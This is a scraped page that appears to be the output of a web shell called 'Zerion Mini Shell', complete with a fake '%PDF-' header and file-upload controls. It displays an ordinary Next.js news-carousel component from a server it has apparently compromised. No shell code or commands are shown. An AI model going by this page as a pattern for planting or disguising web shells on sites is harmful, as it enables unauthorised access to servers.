%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/src/Components/
Upload File :
Create Path :
Current File : /var/www/html/src/Components/News.js

import { useState } from "react";
import Image from "next/image";
import Link from "next/link";
import parse from "html-react-parser";

//Swiper
import { Swiper, SwiperSlide } from "swiper/react";
import { Scrollbar } from "swiper";
import "swiper/css";
import "swiper/css/scrollbar";

//icons
import { ArrowRight, ChevronLeft, ChevronRight } from "./Icons";
import { NewsBg } from "./Backgrounds";

function News({ data, related, titleNews }) {
  const [slideSwipe, setSlideSwipe] = useState({});

  return (
    <div className="mainNews">
      <div className="intro">
        <div className="newsBackground">
          <NewsBg />
        </div>
        <div className="animationWrap">
          <div className="animate">
            <div className="items">
              <span>News</span>
              <span>News</span>
            </div>
            <div className="items">
              <span>News</span>
              <span>News</span>
            </div>
          </div>
        </div>
        <div className="newsDiv">
          <h4>{related ? "related news" : data.small_title_news}</h4>
        </div>
        <>{related ? parse(titleNews) : parse(data.title_news)}</>
      </div>
      <div className="content">
        <Swiper
          breakpoints={{
            640: {
              slidesPerView: 3.3,
              spaceBetween: 3,
            },
            720: {
              slidesPerView: 3.3,
              spaceBetween: 3,
            },
            1024: {
              slidesPerView: 3.3,
              spaceBetween: 3,
            },
          }}
          spaceBetween={3}
          slidesPerView={1.5}
          onInit={(e) => {
            setSlideSwipe(e);
          }}
          scrollbar={{
            hide: false,
          }}
          modules={[Scrollbar]}
        >
          {data?.posts.map((post, id) => {
            return (
              <SwiperSlide key={id}>
                <div className="card">
                  <Link href={`/news/${post.slug}`}>
                    <a>
                      {post?.image ? (
                        <Image
                          src={`${post.image}`}
                          alt=""
                          width="504"
                          height="530"
                        />
                      ) : (
                        ""
                      )}
                    </a>
                  </Link>
                  <span>{post.date}</span>
                  <Link href={`/news/${post.slug}`}>
                    <a>
                      <h4>{parse(post.title)}</h4>
                    </a>
                  </Link>
                  <Link href={`/news/${post.slug}`}>
                    <a>
                      Read More <ArrowRight />
                    </a>
                  </Link>
                </div>
                <div className="swiper-scrollbar"></div>
              </SwiperSlide>
            );
          })}
        </Swiper>
        <div className="buttons">
          <button onClick={() => slideSwipe.slidePrev()}>
            <ChevronLeft />
          </button>
          <button onClick={() => slideSwipe.slideNext()}>
            <ChevronRight />
          </button>
        </div>
      </div>
    </div>
  );
}

export default News;

Zerion Mini Shell 1.0